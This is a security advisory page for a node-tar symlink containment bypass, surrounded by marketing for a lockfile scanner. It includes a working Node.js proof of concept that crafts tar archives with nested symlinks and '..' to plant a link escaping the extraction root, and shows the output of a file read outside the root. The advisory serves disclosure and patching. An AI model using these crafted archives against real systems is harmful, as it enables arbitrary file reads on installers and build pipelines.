node-tar: Symlink containment bypass via nested symlink + '..' (lexical linkpath check)
Published 2 Dec 2026 · Updated 2 Dec 2026
Affected package
- Affected
- <8.0.0
- Fixed in
- 8.0.0
npm install tar@8.0.0Which tar does your project really install?
Works for private projects: the file is read in memory to run the scan and then dropped. Also reads yarn.lock, pnpm-lock.yaml or package.json.
Public repo?
Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Details
Summary
node-tar checks that a symlink's target stays inside cwd, but the check is lexical. It runs path.resolve(dirname, linkpath), which collapses .. without following symlinks. Entry 1 s1 -> . is accepted because its target is cwd. Entry 2 s2 -> s1/../secret.txt resolves lexically to <cwd>/secret.txt and is accepted too. On disk the kernel resolves s1 to cwd first and then applies .., so s2 points to <cwd>/../secret.txt, outside the extraction root. Repeating s1/ climbs further. node-tar rejects the direct form (../secret.txt gives TAR_ENTRY_ERROR), so it treats outside-pointing symlinks as in scope. This bypasses the linkpath containment added for GHSA-8qq5-rm4j-mr97 and related advisories.
Affected
tar 7.5.22 (latest). src/unpack.ts, the [STRIPABSOLUTEPATH] normalize/startsWith('../') check and the [SYMLINK] path (dist/esm/unpack.js around lines 224-244 and 511-513).
Reproduction
tar 7.5.22, tar-stream 3.2.2, node 22, Docker with --network none. secret.txt sits next to the extraction dir.
const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');
const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');
fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n');
const ents = {
direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],
dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],
hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],
hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],
file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],
};
(async()=>{ for (const [k,es] of Object.entries(ents)) {
fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});
const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();
const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));
const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }
const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});
let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}
console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));
}})();direct warn= ["TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false dotdot_via_s1 warn= [] entries= ["s1->.","s2->s1/../secret.txt"] read= s2:"CANARY\n" pwn_outside= false hardlink_via_s1 warn= ["TAR_ENTRY_ERROR"] entries= ["s1->."] read= - pwn_outside= false hardlink_abs warn= ["TAR_ENTRY_INFO","TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false file_through_link warn= ["TAR_ENTRY_ERROR"] entries= ["s1->.","s2->s1/.."] read= - pwn_outside= false
The direct form is rejected (control). The two-step form extracts with no warning, and reading s2 returns the file outside the root.
Impact and limits
Hardlinks through s1/.. and writes through s2/ are still blocked. The result is a planted symlink pointing outside the extraction root. Anything that later reads, serves, copies or archives the extracted tree follows it, which gives arbitrary file read (for example package installers, build or CI systems, and archive previewers). Estimated CVSS 3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.9).
Suggested fix
Validate the symlink target on the real filesystem. Walk its components with lstat (as ENSURE_NO_SYMLINK does for entry paths) and reject a .. that follows a symlink component, or resolve the existing prefix with realpath before the containment check.
Reported by Zachariah Mithani (zachariah@aplosai.com).
Is GHSA-mhqm-9wj8-w7r4 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected tar, and gives you the command that fixes it.
More advisories for tar
- HighCVE-2026-140234node-tar: Incomplete NUL-byte truncation in ustar, GNU, and PAX names causes name differentials and async crashes · 2 Dec 2026
- HighCVE-2026-140235node-tar parses PAX extended headers by newline-splitting instead of length-delimiting, causing record dropping and forged-field injection · 2 Dec 2026
- HighCVE-2026-140236node-tar: Archive framing differential from PAX size still being applied to GNU/PAX meta entries via ReadEntry and related size/precedence inconsistencies · 2 Dec 2026
- MediumCVE-2026-140237node-tar: ReadEntry pending PAX size reapplication permits metadata-body file smuggling · 2 Dec 2026
- HighCVE-2026-140238node-tar: Newline injection in PAX extended-header records enables entry-attribute forgery (path overwrite → npm postinstall RCE on Windows) · 2 Dec 2026
- HighCVE-2026-140239node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation · 2 Dec 2026
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.